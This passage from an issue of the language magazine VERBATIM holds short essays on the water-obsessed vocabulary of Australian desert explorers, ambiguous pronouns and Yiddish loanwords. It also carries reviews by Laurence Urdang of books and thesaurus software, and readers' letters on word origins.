fire—the baptism of no water.” My impression was that in the journals of desert explorers the word water , alone or in compounds, and words relating to water, were unusually frequent. It is, I suppose, likely that people with little money must think of money more than the well-off do and that the hungry will dwell on thoughts of food and the thirsty on drink. Here was a chance to quantify such things. I decided to make a count of words relating to water in reports of desert exploration. Taking quite at random a single page (page 7) in the journals of the Gregory brothers recording an early (1846) exploration of country east and north of Perth, I find the word water used fifteen times. Ten pages on (page 17), water occurs nine times but there are also the related words stream (twice), well (twice), pool, channel , and the circumlocution “essential element.” Two words, dew and shower , refer in the context to the presence of water; the rest are in contexts indicating its absence. I tried another explorer, Ernest Giles. Taking page 17 again, I was reminded that Giles is rather given to semi-serious poetic diction at times, and we find him referring to the presence of water in the Finke River as “the stream purling over its stony floor” or, quoting some bygone poet, “brightly the brook through the green leaflets, giddy with joyousness, dances along.” Perhaps present water called for some stylistic celebration. Two hundred pages further on there is less exuberance in the circumlocution “that fluid so terribly scarce in the region,” and in three other references water is simply water . Giles is not always waxing poetic and may, like other explorers, be useful as a source for the history of Australian and general English. His use of the word tank to refer to a hollowed-out reservoir (“Gibson dug a small tank and the water soon cleared”) antedates the OED , for instance. Since this linguistic-statistical study of an obsession might well prove to be an important contribution to psycholinguistics, I decided to make a larger sample of watery words, choosing the straightforward journals of Colonel Peter Egerton Warburton, who led an expedition across the western interior of Australia in 1873-4. In a randomly chosen sequence of ten pages (151-60 of the published journal) there were twenty-eight occurrences of the word water (eight of them in compounds), no page being without at least one example. In addition, there was a rich collection of words relating to water, not necessarily indicating its presence. “Hoping to find a lake” is included, though of course it doesn't indicate the presence of water. Even words which are usually of more general reference are brought into relation with water in a text like this. Gum-trees or rocks (in areas of sand) appear as signs of possible water. Apart from these words and lake , words and phrases directly associated with thoughts of water and reinforcing the sense of obsession include pool, springs, drainage hole, clay hole, flood, channel, water-courses, water-hole, rock-hole, drink, drinkable, running water, stream , and native well . The last two items merit comment. Stream is often said not to be used in Australia except in metaphorical ways, normally being replaced by creek . Warburton's use: “sandbanks intercept the stream, which finally splits into narow water-courses and spreads itself over the plains, and so it ends as a creek” suggests a somewhat more complex relation between the two words. British-born explorers did not set out to write Australian English, of course. Gregory uses stream in the way normal in England; Giles consistently refers to gens in the hills of central Australia, though glen is not current (outside place-names) in contemporary Australian English. The other name, native well is, as a later explorer David Carnegie, author of Spinifex and Sand (1898), points out, a misnomer. He believes native wells are essentially rock-holes (depressions in rock) buried in fairly shallow sand, which, when hollowed out by the natives, appear to be wells. This sort of misnomer leads Carnegie to suppose that “to the uninitiated no map is so misleading as that of West Australia where lakes are salt-bogs without surface water, springs seldom run, and native `wells' are merely tiny holes in the rock, yielding from 0 to 200 gallons.” Carnegie also describes namma-holes and soaks as sources of water. Soaks are shallow wells sunk near the base of an outcrop to tap an underground reservoir. Namma-holes have been variously described; to Carnegie they are depressions on the surface of rocks, often with a rounded bottom, where stones are often found, suggesting that the stones have something to do with the formation of the holes. Some nostalgic early Australians deplored the loss in our speech of English country words, the glens and streams (alive, anyway, in the journals of explorers), coppices and brooks, woods, becks , and rivulets . Perhaps these words did not really fit. We might have done better with Arabic-speaking settlers. Wadi , for instance, would describe an inland creek rather well. Be that as it may, a later Australian visitor to English drizzle might feel nostalgic when thinking of the parched and thirsty but water-obsessed vocabulary developed in the drier areas of our sunburnt land. Favorite Grammatical Game: Puzzling Pronouns Here is a game just made to while away the hours on a commuter train with your favorite author, a perfect place to hunt for Puzzling Pronouns . Fowler lists five instances where a careless writer can go wrong. There is really no excuse, Fowler says (not he says!), but here we give examples of his third case only, where “there should not be two parties justifying even a momentary doubt about which the pronoun represents.” And here the deluge of printed matter abounds with such specimens that one would suppose them to be the rule rather than the exceptions. It is a game that is like fishing in a barrel, but more stimulating mentally. I am not picking on the following authors; it is just a random catch. In Thomas Hardy's The Hand of Ethelberta , it is suggested by Ethelberta that she and some others go to see Milton's tomb in Cripplegate church. Her suitor, Neigh, who had proposed marriage in a previous chapter, appears somewhat apprehensive at Ethelberta's suggestion. This apprehension is observed by a Mr. Belmaine and mistaken by him for an indication that Neigh has been dragged into going to the church against his will “by his over-hasty wife.” One wonders whether the marriage had secretly taken place between the consecutive chapters! You see, it is Belmaine's wife who was doing the dragging. Somerset Maugham was a good and careful grammarian but now and then he slipped. In The Letter , a solicitor, Mr. Joyce, is approached by a Mr. Crosbie: He spoke beautiful English, accenting each word with precision, and Mr. Joyce had often wondered at the extent of his vocabulary.... Sometimes I wonder about the extent of my own vocabulary, too, but really, not when I'm interviewing a client. From The Once and Future King , by T. H. White: Naturally it was Lancelot who rescued her. Sir Boss had managed to find him at the abbey, during his two days' absence, and now he came back in the nick of time to fight Sir Mador for the queen. Nobody who knew him would have expected him to do anything else, whether he had been sent away in disgrace or not—but, as it was thought he had left the country, his return did have a dramatic quality. Not to say a quality of confusion—pronoun-cedly so. From Oh What a Paradise it Seems , by John Cheever: The size of Chisholm's teeth, the thickness of his glasses, his stoop and the spring with which he walked all marked him, Sears thought, as a single-minded reformer. His marriage, Sears guessed, would have been unsuccessful and his children would have difficulty finding themselves. No wonder — we've lost them already. Mark Twain poses us a little mystery in Pudd'nhead Wilson: which knife does the killing? Quiet now. Lights, action: I was asleep, but Luigi was awake, and he thought he detected a vague form nearing the bed. He slipped the knife out of the sheath and was ready, and unembarrassed by hampering bedclothes, for the weather was hot and we hadn't any. Suddenly that native rose at the bedside, and bent over me with his right hand lifted and a dirk in it aimed at my throat; but Luigi grabbed his wrist, pulled him downward, and drove his own knife into the man's neck. That is the whole story. Well, was it Luigi's knife or the native's? If we had only that scene to go by we would never really know, and all because of a Puzzling Pronoun —or two! Oh, it can lead one to a rhymed couplet: He loves his brother and his wife, Does he live a double life? Give me my grammatical games any day to a crossword puzzle. The Joys and Oys of Yiddish Rabbi Robert Schenkerman Temple Beth Jacob When Isaac Bashevis Singer was awarded the Nobel Prize for Literature in 1978, he remarked in his acceptance speech: The high honor bestowed upon me is also a recognition of the Yiddish language—a language of exile, without a land, without frontiers, not supported by any government, a language which possesses no words for weapons, ammunition, military exercises, war tactics. There is a quiet humor in Yiddish and a gratitude for every day of life, every crumb of success, each encounter of love. In a figurative way, Yiddish is the wise and humble language of us all, the idiom of a frightened and hopeful humanity. The word Yiddish derives from the German judisch `Jewish.' The principal parent of Yiddish is High German, the form of German encountered by Jewish settlers from northern France in the eleventh century. Yiddish is written in the characters of the Hebrew alphabet and from right to left and enjoys borrowing words from Russian, Polish, English, and all the other languages and countries along the routes that Jews have traveled during the past thousand years. Journalist Charles Rappaport once quipped, “I speak ten languages—all of them Yiddish.” Although Yiddish has been in danger of dying out for hundreds of years, the language is spoken today by millions of people throughout the world—Russia, Poland, Rumania, France, England, Israel, Africa, Latin America, New Zealand, Australia, Canada, and the United States, where, like the bagel, it was leavened on both coasts, in New York and Hollywood. It is spoken even in Transylvania: A beautiful girl awakens in bed to find a vampire at her side. Quickly she holds up a cross. “Zie gernisht helfen,” smiles the vampire. Translation: “It won't do you any good.” Most of us already speak a fair amount of Yiddish (Yinglish) without fully realizing it. Webster's Third New International Dictionary lists about 500 Yiddish words that have become part of our everyday conversations, including: cockamamy (or cockamamie) `mixed-up, ridiculous.' fin slang for `five-dollar bill,' from finf, the Yiddish word for `five.' gun moll a double clipping of gonif's Molly, Yiddish for `thief's girl.' kibitzer `one who comments, often in the form of unwanted advice, during a game, often cards.' mavin `expert.' mazuma `money.' mish-mosh `mess.' schlep to `drag or haul.' schlock `shoddy, cheaply produced merchandise.' schmeer the `entire deal,' the `whole package.' schnoz slang for `nose.' yenta `blabbermouth, gossip; woman of low origins.' ... and so on through the whole megillah : `long, involved story.' A number of poignant Yiddish words defy genuine translation into English: chutzpa `nerve; unmitigated gall;' a quality we admire within ourselves, but never in others. In his delightful study, The Joys of Yiddish (McGraw-Hill 1968), Leo Rosten offers two classic definitions. “Chutzpa is that quality enshrined in a man, who, having killed his mother and father, throws himself on the mercy of the court because he is an orphan. A chutzpanik may be defined as the man who shouts `Help! Help!' while beating you up.” mensch a `real authentic human being—a person.' naches the `glow of pleasure-plus-pride that only a child can give to its parents': “This is my son, the Doctor!” oy not so much a word as an entire vocabulary, as Rosten observes: “can express any emotion, from trivial delight to the blackest woe.” oy vay; oy vay in mir literally, “Oh, pain,” but, in its long or short form, can be used for anything from condolence to lament: On August 6, 1945, the world's first nuclear weapon was dropped on Hiroshima, Japan. Two hundred and eighty-two thousand human beings died and tens of thousands more were left burned, maimed, and homeless. [Albert] Einstein, whose letter to Roosevelt had initiated the American effort that resulted in the atom bomb and whose special theory of relativity formed its theoretical basis, heard the news on the radio. For a long time he could only find two Yiddish words traditionally used by Jews in such circumstances: “Oi vey.” —The Little, Brown Book of Anecdotes tsuris the gamut of painful emotions—some real, some imagined, some self-inflicted. Yiddish is especially versatile in describing those poor souls who inhabit the world of the ineffectual, and each is assigned a distinct place in the gallery of pathetic types: schmo, schmendrik, schnook, schmegegge, schlep, schlub, schmuck, putz, klutz, kvetch , and nudnik . Yiddish easily coins new names for new personalities: a nudnik is a `pest'; a phudnik is a `nudnik with a Ph.D.' The rich nuances that suffuse this roll call are seen in the timeless distinction between a schlemiel `clumsy jerk' and a schlimazel `habitual loser': the schlemiel inevitably trips and spills his hot soup—all over the schlimazel. (And the nebbish is the one who has to clean it up.) The Yiddish language, through its color, its target-accurate expressions, its raw idioms, and its sayings exudes a refreshing magic and laughter, mixed with sober thought, that has been handed down from generation to generation and from nation to nation. Yiddish never apologizes for what it is—the earthy, wise soul of an expressive people learning that life is but a mingled yarn, good and ill together. Which reminds us of the zaftig `buxom, well-rounded' blonde who wore an enormous diamond to a charity ball. “It happens to be the third most famous diamond in the whole world,” she boasted. “The first is the Hope diamond, then comes the Kohinoor, and then comes this one, which is called the Lipschitz.” “What a stone! How lucky you are!” “Wait, wait,” said the lady. “Nothing in life is all mazel [`good luck']. Unfortunately, with this famous Lipschitz diamond comes also the famous Lipschitz curse.” The other women gasped and asked, “And what is the famous Lipschitz curse?” “Lipschitz,” sighed the lady. The Women's History of the Word Those who are not familiar with feminist writings may find it useful and interesting to consider a book, recently published in Britain, that is typical of the harsher brand of such works. The work in question offers nothing regarding language, so its review here is ancillary to the main function of VERBATIM. The feminist movement is very much alive in Britain, and the “Greenham Common Women” are probably largely responsible for much of the national sentiment against the Cruise missiles installed at an American base near that village. In Britain, as elsewhere, most books by feminist writers are reviewed by women, usually feminists. Men are seldom assigned to review them, possibly because the editor fears that they will be either ignorant of or unsympathetic to the issues raised, if not biased against them, or because the editor is a woman. Because writing an unfavorable review of a (bad) feminist book would be tantamount to treachery, such books are often unjustifiably praised, as was the case with this work by Rosalind Miles, which was well received on its publication in June. According to the blurb on the dust jacket of this distinctly unpleasant book, Rosalind Miles is head of the Centre for Women's Studies at Coventry Polytechnic, a lecturer, broadcaster, journalist, and author of several other books, including a “highly acclaimed” biography of Ben Jonson. One might like to believe that this gives her the cachet of authoritative scholarship, but the text does not bear out the promise. For the most part, the book consists of a rewriting of history, from the dawn of time, with the purpose of demonstrating two main themes: the “fact” that women were responsible for all the important contributions to the advancement of civilization (as the development of agriculture, for instance), often despite the arrogance and stupidity of men; and the “fact” that women have long been subjected to domination by men. Miles suggests that such domination is a recent phenomenon—only a couple of thousand years old—for she points to the clear superiority of women in (primitive) religions and matriarchies, right on through to the Egyptian dynastic rulers. At one point, she gets so carried away with her thesis that she suggests that females were responsible not only for all of human evolutionary biology but for the very notion of counting (in order to keep track of menstruation) and, probably by the same token, astronomy. She quotes (and, presumably, accepts) another source which holds that “woman first awakened in humankind the capacity to recognize abstracts.” If you believe that balderdash, you'll believe anything. In the good old days, we were taught that the pyramids were built by tens of thousands of slaves. Recent speculation has it that they were not slaves but—what would one call them? — ordinary laborers. Here comes Miles, authoritatively quoting Diodorus, the Greek historian, who recorded (60-30BC) that “innocent women even swelled the ranks of pitiful slaves whose forced labour built the pyramids: ... bound in fetters, they work continually without being allowed any rest by night or day. They have not a rag to cover their nakedness, and neither the weakness of age nor women's infirmities are any plea to excuse them, but they are driven by blows until they drop dead.” [p.49] As the pyramids were already about 2500 years old when Diodorus wrote his World History , one is given to wonder what his authority might have been for such a vivid description. It is even less comprehensible how a modern researcher could accept it and have the effrontery to promulgate it. Miles's book is riddled with many similar distortions, convenient omissions, and generalizations: ... Women have always commanded over half the sum total of human intelligence and creativity. From the poet Sappho, who in the sixth century BC was the first to use the lyric to write subjectively and explore the range of female experience, to the Chinese polymath Pan Chao (Ban Zhao), who flourished around AD 100 as historian, poet, astronomer, mathematician and educationalist, the range is startling. In every field, women too numerous to list were involved in developing knowledge and contributing to the welfare of their societies as they did so: the Roman Fabiola established a hospital where she worked both as nurse and doctor, becoming the first known woman surgeon before she died in AD 399. [p.52] Earlier, on page 49, we learnt about Agnodice, “who lived to become the world's first known woman gynaecologist,” in the fourth century BC. Clearly, this rosily checkered past was soon to be replaced, chiefly, it seems, as Judeo-Christian-Islamic-Confucian-Buddhist cultures flourished. It was not too bad early on, when, according to Miles, the seven Maccabean martyrs who “saved Judaism” did so only at the instigation of their mother. Miles continues: In early Christianity likewise, women found not merely a role, but an instrument of resistance to male domination; in choosing to be a bride of Christ they inevitably cocked a snook at lesser male fry. Thousands of young women helped to build the church of God with their body, blood and bones when frenzied fathers, husbands or fiancés preferred to see them die by fire, sword or the fangs of wild beasts rather than live to flout [sic] the duty and destiny of womanhood. [p.63] But the situation soon deteriorated: Even St. Paul, later the unregenerate prophet of female inferiority, was forced to acknowledge the help he received from Lydia, the seller of purple dyes in Philippi. [ibid.] This rewriting of history is punctuated by an array of four-letter invectives applied to males and by adjectives like brilliant, unusual, inspiring , and so forth to women. Citing a Judaic law-book of the 16th century which identified a woman for the days preceding, during, and following her period as niddah `impure,' Miles has the lack of taste to write the following:. As a final stroke, in a grim foreshadowing of what the future held in store for the Jews, the niddah had to wear special clothing as a badge of her separate and despised status. [p.83] Here and there in this morass of misunderstanding, Miles treads on solid ground if one can agree with the eminent anthropologist Joseph Campbell. Campbell, known for his extensive analyses of the world's mythologies, religions, and cultures, noted the marked bias against women emerging from Judaic concepts, later reinforced by Christian and Islamic doctrine. Most of the religions of the world connected woman with mother earth, fertility, and all the other progenetic and nurturing associations, and this was borne out in the cultures of the people. According to Campbell, the only godlike female figure in the Bible is the Virgin Mary, and she appears, identified as virgin, only in the Gospel according to Luke. As Luke was a Greek, Campbell suggested that Mary was a carryover from the paganism of the ancient Greek pantheon. Although this might help explain the Judeo-Christian-Muslim tendencies to subjugate women, treating them essentially as chattel, it does not account for a similar treatment accorded them in other cultures, notably that of Japan. It is not entirely clear whether Campbell was commenting on Hinduism, Buddhism, etc. as they once existed, conceptually, for it is unlikely that he could have ignored the treatment of women in the modern reflexes of the cultures adhering to those religous precepts. Campbell held that the ancient mythologies and religions are allegorical and that there was no real distinction between gods and goddesses, who were given sexual identity when in human form only to make them more meaningful. With all respect, that seems a highly debatable issue and one far too complex for this discussion, though we can certainly trace a diminution in the role of female divinities (or divinity) when we come to examine Judaism and its congeners and progeny. Other debatable aspects are the questions of whether the debasement of women is a reflection of the theology or the ritual, whether the scripture of any religion should be understood allegorically or literally, and so forth. If there is something wrong, it behooves us to get at the roots of the problem, not to flail about wildly, for only after the source of a disease has been identified can one properly investigate its cure. “History according to Rosalind Miles” blasts away at the symptoms in a misconceived notion that alleviating them will effect a cure of the disease. In this jeremiad, males are viewed as the “enemy,” and are so characterized throughout the book, which concludes with exhortations to engage the foe and a strident call to arms (though not men's). Laurence Urdang Archaeology & Language [A VERBATIM Book Club Selection.] Just when you thought it was safe to assume that we now know all we are ever likely to know about the past, someone digs another hole and unearths (literally or figuratively) some ancient artifact: one day it is a fragile scroll, found in a cave near the Dead Sea, that turns out to be pre-Biblical; the next day it is an entire terracotta army of Chinese soldiers: the next it is a skull, excavated from the Olduvai Gorge, that compels anthropologists (once again) to revise their guesses about the earliest stages of Homo sapiens sapiens vs hominids. Most of the relies from the past are gone forever, destroyed by the plows of countless generations of farmers, reduced to rubble by erosion, by conquerors, by prehistoric (and modern) urban developers, by fire and flood, and just by time. Many, we may hope, have not yet been found. The interest in man's forebears did not become fashionable upon the publication, a few years ago, of Roots : on a far larger scale, we have been trying to discover all we can about the origins not of men but of man. Strange to say, however, that interest does not seem to be more than a few hundred years old: if the ancient Greeks and Romans, the Indians, the Chinese and other peoples were curious about their own prehistory, I have not heard of it. Perhaps the fascination with man's past grew out of the obsession with ruins evinced by Romanticism; certainly, modern archaeology seems to have followed close behind, for the excavation of the supposed site of Troy took place only about 100 years ago. Perhaps it is just as well, for only by the means available to modern science are we now able to preserve some of the artifacts that we find and, through radiocarbon dating, determine their approximate age. Archaeology is a popular pursuit, and its manifest results not only receive considerable publicity but can be seen in museums. Not so paleolinguistics, or the reconstruction of ancient languages. Even the remnants we have from early languages that had a writing system are relatively sparse: Classical Latin and Greek, Hebrew, and a few other languages are better documented than others; but for most all we have to go on are a handful of tablets here, a few inscriptions there, barely enough in many cases to allow us to identify the language, let alone draw any conclusions regarding its structure or meaning. Perhaps one day we shall find an Etruscan library, buried deep in the Italian countryside; but for the present, we have to make do with what we have, which is precious little. About languages that had no writing system, we know nothing at all. But some very clever comparative linguists, beginning in Germany in the 19th century, theorized about how the nature of the ancestors of the more modern tongues. In some instances, ancient languages have been decoded, some from multilingual inscriptions. The work of Jean Francois Champollion (1790-1832) in deciphering hieroglyphics from the Rosetta Stone was an astonishing accomplishment, for it enabled us to read the myriad writings of the ancient Egyptians on papyrus and in wall inscriptions and revealed an enormous amount of the knowledge we have today about their civilization, which lasted for about 2600 years. Another significant break-through was that of Michael Ventris (1922-1956), who deciphered the Linear B script found on Crete and identified it as an early form of Greek. From the standpoint of language, Ventris's work was more important, particularly because it filled in a gap in our knowledge of the early states of Indo-European languages. Many years ago, a linguistic scholar counted all of the languages then spoken of which he had evidence. The total was approximately 2800, but that is probably only a vague estimate: he undoubtedly missed some; some have sprung up since his time (modern Hebrew, for instance); and some have vanished. The exact count is unimportant and, at best, spurious, for it is extremely difficult to establish uniform criteria for what distinguishes dialect from language. Then, too, one must examine the techniques used to group the many languages of the world. Linguists examining Classical Greek, Latin, German, English, Slavic, Swedish, Norwegian, Danish, Dutch, Lithuanian, Iranian, Hindi, and the other languages of India and Europe found that there were correspondences among many of the common words. Some, like French, Spanish, Italian, and Portuguese, had more in common with one another than they did with, say, German, English, Swedish, Danish, and Dutch, which, in turn, bore only a remote resemblance to Russian and Polish, on the one hand, and the two extant varieties of, say, Gaelic, on the other. One rapidly runs out of hands and must resort to fingers and toes, for after years of laboriously categorizing these languages, the number of different main branches (called families and subfamilies) came to about ten. Ingeniously, certain differences between families were explained by various phonetic shifts that (inexplicably) took place in one language group but not in another. Although certain other languages were geographically nearby, it was impossible to establish any resemblances between them, hence Basque, for example, is not classified as being in the same family with other European languages, nor are Hungarian and Finnish, both of which belong to their own group. At the conclusion of this vast exercise, done without the aid of computers, there emerged a pattern of familial relationships that linked together languages spoken, in earlier times, from Britain as far east as Chinese Turkestan and from India as far north as Lappland. Charts showing the chief languages and their derivations can be found in many dictionaries—inside the front cover of The Random House Unabridged , for example. Because linguists are constantly learning more and more about the relationships among languages, it is best to avoid using an older chart; for the same reason, it would be wise not to stake too much on the accuracy of even a current chart. The languages discussed here are what are usually called the Indo-European family; similar family trees could be drawn for the Semitic languages, Sino-Tibetan, Japanese, Bantu, Malayo-Polynesian, and so on. Each is a distinct phylum; although there may be word-borrowing among them, lexicon is considered less important in the classification of languages than structure and grammar. It is important, too, to note that writing systems are irrelevant: for instance, Polish is written (today) using the Roman alphabet, but Russian, a related Slavic language, uses the Cyrillic; Yiddish, a Germanic language, is written in Hebrew characters; Latin, Greek, and Sanskrit, which resemble one another rather closely in some respects, all use different alphabets; and early examples, utterly unrecognizable to untrained readers of modern languages, were written in cuneiform, quite suitable for writing on soft clay tablets with a pointed stylus, and hieroglyphics. It would be nice to think that while linguists were working so hard to organize languages, they were working alongside the archaeologists who were providing the raw materials. But only rarely did they collaborate and, with few exceptions, their work was not correlated in a systematic way. Schliemann, who discovered the site of Troy, used the evidence in Homer's Iliad to determine his digging site, where any ruins had long since disappeared from view. In many other places, the ancient sites lay buried—and still do—beneath modern cities: modern property owners quite understandably take a dim view of tearing down their buildings on the off chance that the remnants of an ancient town will be found several yards below. today, before a new building is erected in London, an archaeological team examines the cleared site for its archaeological significance. But there, as everywhere else, nothing can interfere with progress and, regardless of the finds and their importance, the archaeologist must eventually yield to the bulldozer. Notwithstanding, even the brief glimpses afforded by such investigations can provide some insight into civilizations that existed hundreds or, in some cases, thousands of years earlier. Based on the sparse evidence available, linguists theorized about the earlier languages that had given rise to those attested. In other words, based on what they knew about a group of languages which were documented, they tried to imagine the language that they sprang from. In most cases, they dealt with words and functional elements, creating what are called reconstructions in hypothetical family prototypes called, variously, Proto-Latin, Proto-Greek, Proto-Germanic, Proto-Indo-Iranian, and so forth, the ultimate goal being to posit a single language called Proto-Indo-European. That is not entirely true, for linguists know too much about language to suggest that there ever was, literally, a single language from which all Indo-European languages descended. Nonetheless, it is convenient to think about the existence of a group of proto-dialects which can be referred to as Proto-Indo-European. It seems only natural that once an original language, or Ursprache , was posited, the next step was to speculate on its source, or Urheimat . That is what Renfrew has tried to do. Essentially, he proposes that the parent of all Indo-European languages was itself born in central Anatolia, whence it spread eastward, westward, and northward, being modified by the influences of the languages with which it came into contact, till it ultimately emerged in its recognizable, modern manifestations which we categorize into Germanic, Hellenic, Italic, Indo-Iranian, Anatolian, Armenian, Celtic, Tocharian, Albanian, and BaltoSlavic. I have no quarrel with Renfrew's theory—notwithstanding the generally received wisdom that has placed the homeland north of the Black Sea region and the Volga steppes. It is difficult for the nonspecialist reader (like me) to assess the validity of his arguments, which are based on his contention that the language (and its congeners) were carried along by the spread of nomad pastoralism. Using the evidence available, Renfrew contends that the original Indo-European language, closely related to Hittite, separated after 6500 BC, with the IE languages of western Europe developing from western Anatolia and those of Iran, India, and Pakistan from the eastern division. The choice between the prevailing theory and Renfrew's depends on whether one accepts a “wave” theory, first promulgated more than a hundred years ago by Johnanes Schmidt, a German linguist, or one of indigenous development. Pottery finds can be interpreted to support either the imposition of an elite culture from Turkmenia or a late development of the Indus civilization. Renfrew accepts the wave theory, and in the last two thirds of Archaeology & Language he sets forth his arguments in its favor. Unfortunately, the presentation of his linguistic argument, where the author is clearly treading on more speculative ground than in those parts dealing with outright archaeology, where he is on more familiar territory, is disorganized and repetitious. It is difficult to place all the blame on Renfrew, for his editor should have noticed the lack of coherence. The result is an argument that is persuasive but scarely convincing. Nevertheless, good books on archaeology assimilable by laymen are not easy to find, and if the reader can tolerate its shortcomings and is not overly concerned about the precise birthplace of Indo-European, Archaelogy & Language provides an interesting march through the millennia of prehistory in seven-league boots. Laurence Urdang Webster's Electronic Thesaurus This software consists of two disks, one labeled Installation and Program, the other Synonym Linguibase, and a manual. The manual sets forth everything with clarity, and the program is simple to install, requiring only a few minutes. Only one thing made me a little suspicious when cranking up the system: in the descriptive text that appears on the screen, the word labeled is spelt “labelled”—decidedly un-American. However, I went ahead, and, since I was typing the text you are reading, returned to the beginning of the paragraph to see how some of these words would fare. I looked up the word preceding and was, after a brief moment, asked to type in the word, which I did. The screen bloomed forth with the following: Query: preceding 1) adj being before especially in time or arrangement There were also some other parts of speech: one definition for the preposition and three for the verb (participial) senses. I called up the synonyms for the adj and the following appeared: Synonyms: antecedent, anterior, foregoing, former, past, precedent, previous, prior The way the program works is this: one uses the cursor to highlight a particular word for which synonyms are desired. It is similar, in principle, to finding a synonym in a synonym dictionary and then looking up its synonyms to find them. I am not sure why, but I expected the program to “network” in the same way. However, when I highlighted antecedent , what appeared on the screen was the same list of synonyms but with antecedent missing, and preceding had reappeared. If all this is too complicated to follow, let me summarize: you look up word X and get synonyms A, B, C, D, E, F, and G. You look up the synonyms for word A, and you get synonyms X, B, C, D, E, F, and G. Even the definition provided for the sub-listings is identical in wording to that of the word originally sought. This is very economical of space and involves a clever computer ploy, but it does not provide a particularly useful synonym dictionary, for, as we all know, synonymy in language does not yield to the commutative law of mathematics; in language, “Things equal to the same thing are not (necessarily) equal to each other.” Perhaps the Proximity people thought that they had got round that little problem by giving the same definition for each of the items in the list; but we know that only very rarely are two synonyms bi-unique (which is another way of saying that if A = B, B does not necessarily always equal A), an ineluctable fact of language. If a relatively limited access to a synonym dictionary is likely to be of use, then this package may be of service. It works with a hard disk or with a set of floppies and can be used with 29 popular word-processing programs. (That was the number listed when I received my copy; it might have increased.) It also has a few neat features, like suggesting a few alternatives if you happen to think that preceding is spelt “preceeding” (as many people do). It has a useful “Help” feature that can be called upon at any stage. Also, if you enter jump , you get the synonyms for that; but if you enter jumped , you get the (same) synonyms but inflected—including the variants leapt, leaped for leap . All in all, for a relatively primitive system, it is not too bad; but you would have to be in love with your computer to use it in preference to a far more complete books of synonyms available (especially The Synonym Finder , Rodale in the U.S. and Canada, Longman elsewhere, which offers more than 800,000 synonyms, more than three times the number listed in any other synonym book). The blurb on this book/disk package reads, “Supplies you with 470,000 true synonyms for 40,000 entries.” My guess is that such a quantity might be reached if one counted all the permutations and combinations; in reality, though, there are probably far fewer actual words. Readers can judge for themselves the validity of this numerical legerdemain. Laurence Urdang Family Words In 1962, American Speech published “Family Words in English,” by Allen Walker Read, which was reprinted in VERBATIM Vol. I, No. 4, (1975). The article is a classic, probably the first on the subject to appear in a scholarly journal, though there are other informal references to family language, some of which are documented by Dickson in his Bibliography. Family words and expressions crop up everywhere. Some are quite unique and their reporters cannot imagine their origin; others, like Penn Station , “what one family terms a child's misinterpretation of a famous line or phrase,” are clear: the generic term comes from the Lord's Prayer—“And lead us not into Penn Station.” Obviously, that works only for kids familiar with New York City. Other Penn Stations : Our Father, which art in heaven, Harold be Thy name. Land where the Pilgrims pried. Bells on cocktails ring. I pledge my allowance to the flag. Gladly the cross-eyed bear Onward Christian Soldiers, Marching as to War, With the cross-eyed Jesus, Leaning on the phone. ...One nation, invisible... ...One nation, in a vegetable... Many people know F.H.B. for `family hold back,' an exhortation ensuring ample provender for guests. This is not to suggest that Dickson's book is a catalogue of bloopers, or what Amsel Greene (and Jack Smith) like to call pullet surprises . There are many interesting entries in Family Words which, as far as I know, is the first documentation of the genre. There are occasional hidden entries, as the list of diseases—among them the dread mohogus —under the entry for Fowlenzia . (In the VERBATIM family, some suffer from Fowler's pip , an affliction affecting language fanatics who base a slavish purism on a literal interpretation of Modern English Usage .) Family Words is useful and fun. Inevitably, some of the entries are more imaginative than others; Dickson will have his hands full if everyone responds giving private words. Please sent yours to the author, c/o Addison-Wesley, Reading, MA 01867, not to VERBATIM. Laurence Urdang A Midwesterner, Will Hays, Jr., who is proud of his knowledge of post-Civil-War history, tells me the following origin of shot , as in shotglass , absent from “Gunning for the English Language”: Although we associate trench warfare with World War I, trenches were characteristic also of the Civil War. A scaffold was built so that a rifleman— who fired a single-shot, muzzle-loading shoulder weapon—could step up and shoot over the top of the trench. The soldier in charge would command, after each firing, that the rank on the scaffold step down and be replaced by the rank that had just reloaded, thus alternating ranks and sustaining the rifle fire. That war, like others, produced disgruntled veterans and those more adventurous or more restless after military service. They moved westward to start a new life. The population increased markedly, with corresponding demands for goods and services, among them the need for saloons. Most new saloons were small and the bars short, accommodating with difficulty the many bunched up, in ranks, if you will, calling for whiskey. Many of the thirsty crowd were veterans, as were many of the bartenders. Thus, “Step down (or back) and give me a shot” was readily understood. I've not been able to corroborate this explanation, but I'll never forget it. Mr. Joseph Hymes' “Do Mistake—Learn Better” [XV,1] brought to mind the time a Japanese acquaintance told me of a friend of hers who decided to tackle the original English version of three books she had enjoyed while in Japan. She boldly marched into a bookstore and asked the salesclerk for a copy each of Hemingway's The Sun Come Up Again and Throw Away the Gun and Steinbeck's The Angry Grape . Is there a term for the errors that creep in while translating a passage back into the original tongue? Mr. Davidson's observations on the Scottishness of Chambers 20th Century Dictionary [XV,1] bear out my own formed over sixteen years of using one. An odd sidelight on this came a few days after reading the article. Definitions under pet end with “Petting Party (coll.) a gathering for the purpose of caressing as an organised sport. (Origin unknown; not from Gaelic)” I think it hardly fanciful to discern a note of Calvinist disapproval in this curt disclaimer. Although I greatly enjoyed Richard Lederer's article, I fear that one of his paragraphs is a load of brass monkey balls. The monkey on board ship was a lad employed to fetch supplies—powder and so forth—to the guns. The word might also have been used for a receptacle near the guns where powder and balls were kept. However, this receptacle would have taken the form of a wooden box or something similar. The idea of a metal stand carrying a pyramid of cannon balls so delicately balanced as to be affected by the tiny differential expansion of brass and iron does not bear thinking about in a heavy sea. So what is the explanation of the phrase cold enough to freeze the balls off a brass monkey ? Well, the obvious one, I believe. Anybody who asks “Why a brass monkey?” is probably not aware that brass monkeys were very common household ornaments in England in the 19th and early 20th centuries. Originally, they were probably imported from India, but were later mass-produced in places such as Birmingham to grace Victorian and Edwardian mantelshelves. They can still be found today in so-called “gift shops.” Usually, they come in sets of three, one with its hands over its eyes, one over its ears, and one over its mouth: they were said to represent “See no evil, Hear no evil, Speak no evil.” There were various whimsical variants. I am sure I am not the first to point out Joseph Hynes's, “Do Mistake—Learn Better,” [XV,1] mistakes in Japanizing English words, e.g., sei fu not “safe-o,” nain not “nine-o.” The possibilities for representing English with a language of only forty-seven syllables are not that numerous, and the rules are very consistent. The main problems are representing consonant clusters and word-final consonants. These difficulties produce such monstrosities as sutoraike for English `strike'—one syllable in English, five in Japanese. Every Japan veteran has his list of favorite mistakes. Mine are the ones that are possible, but wrong, English. Adding the Japanese final vowels produces Gone with the Windo . Hypercorrection, where Japanese speakers learn that many final vowels do not exist in the American version of the tongue and so remove them, sometimes incorrectly, gives us the California cities of San Francisk and Sacrament . This process resulted in the sign reading Pizz and Coffee . My absolute favorite of these semantic mistakes, however, does not come from the problem of sound. 